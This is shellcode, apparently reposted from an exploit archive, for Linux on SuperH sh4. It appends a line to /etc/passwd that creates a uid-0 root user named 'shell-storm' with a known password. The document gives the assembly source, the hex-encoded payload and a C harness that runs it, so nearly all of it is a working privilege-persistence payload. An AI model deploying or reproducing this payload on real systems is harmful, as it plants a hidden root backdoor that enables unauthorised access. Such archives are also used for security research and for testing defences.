ExploitFixes
SuperH (sh4) Add root user with password 2011-06-23 15:15:07

/*
** Title: Linux/SuperH - sh4 - add root user with password - 143 bytes
** Date: 2011-06-23
** Tested on: debian-sh4 2.6.32-5-sh7751r
** Author: Jonathan Salwan - twitter: @shell_storm
**
** http://shell-storm.org
**
** Informations:
** -------------
** - user: shell-storm
** - pswd: toor
** - uid : 0
**
** open:
** mov #5, r3
** mova @(130, pc), r0
** mov r0, r4
** mov #255, r13
** mov #4, r12
** mul.l r13, r12
** sts macl, r5
** add #69, r5
** mov #84, r13
** mov #5, r12
** mul.l r13, r12
** sts macl, r6
** trapa #2
** mov r0, r11
**
** write:
** xor r6, r6
** xor r5, r5
** mov #4, r3
** mov r11, r4
** mova @(20, pc), r0
** mov r0, r5
** mov #72, r6
** trapa #2
**
** close:
** mov #6, r3
** mov r11, r4
** trapa #2
**
** exit:
** mov #1, r3
** xor r4, r4
** trapa #2
**
** user:
** .string "shell-storm:$1$KQYl/yru$PMt02zUTWmMvPWcU4oQLs/:0:0:root:/root:/bin/bash\n"
**
** file:
** .string "@@@/etc/passwd"
**
**
** The '@@@' is just for alignment.
**
*/

#include <stdio.h>
#include <string.h>


char *SC =
/* open("/etc/passwd", O_WRONLY|O_CREAT|O_APPEND, 0644) = fd */
"\x05\xe3\x20\xc7\x03\x64\xff\xed"
"\x04\xec\xd7\x0c\x1a\x05\x45\x75"
"\x54\xed\x05\xec\xd7\x0c\x1a\x06"
"\x02\xc3"

/* r11 = fd */
"\x03\x6b"

/* write(fd, "shell-storm:$1$KQYl/yru$PMt02zUTW"..., 72) */
"\x6a\x26\x5a\x25\x04\xe3\xb3\x64"
"\x04\xc7\x03\x65\x48\xe6\x02\xc3"

/* close(fd) */
"\x06\xe3\xb3\x64\x02\xc3"

/* exit(0) */
"\x01\xe3\x4a\x24\x02\xc3"

/* shell-storm:$1$KQYl/yru$PMt02zUTWmMvPWcU4oQLs/:0:0:root:/root:/bin/bash\n */
"\x73\x68\x65\x6c\x6c\x2d\x73\x74"
"\x6f\x72\x6d\x3a\x24\x31\x24\x4b"
"\x51\x59\x6c\x2f\x79\x72\x75\x24"
"\x50\x4d\x74\x30\x32\x7a\x55\x54"
"\x57\x6d\x4d\x76\x50\x57\x63\x55"
"\x34\x6f\x51\x4c\x73\x2f\x3a\x30"
"\x3a\x30\x3a\x72\x6f\x6f\x74\x3a"
"\x2f\x72\x6f\x6f\x74\x3a\x2f\x62"
"\x69\x6e\x2f\x62\x61\x73\x68\x5c"
"\x6e"

/* @@@/etc/passwd */
"\x40\x40\x40\x2f\x65\x74\x63\x2f"
"\x70\x61\x73\x73\x77\x64";


int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}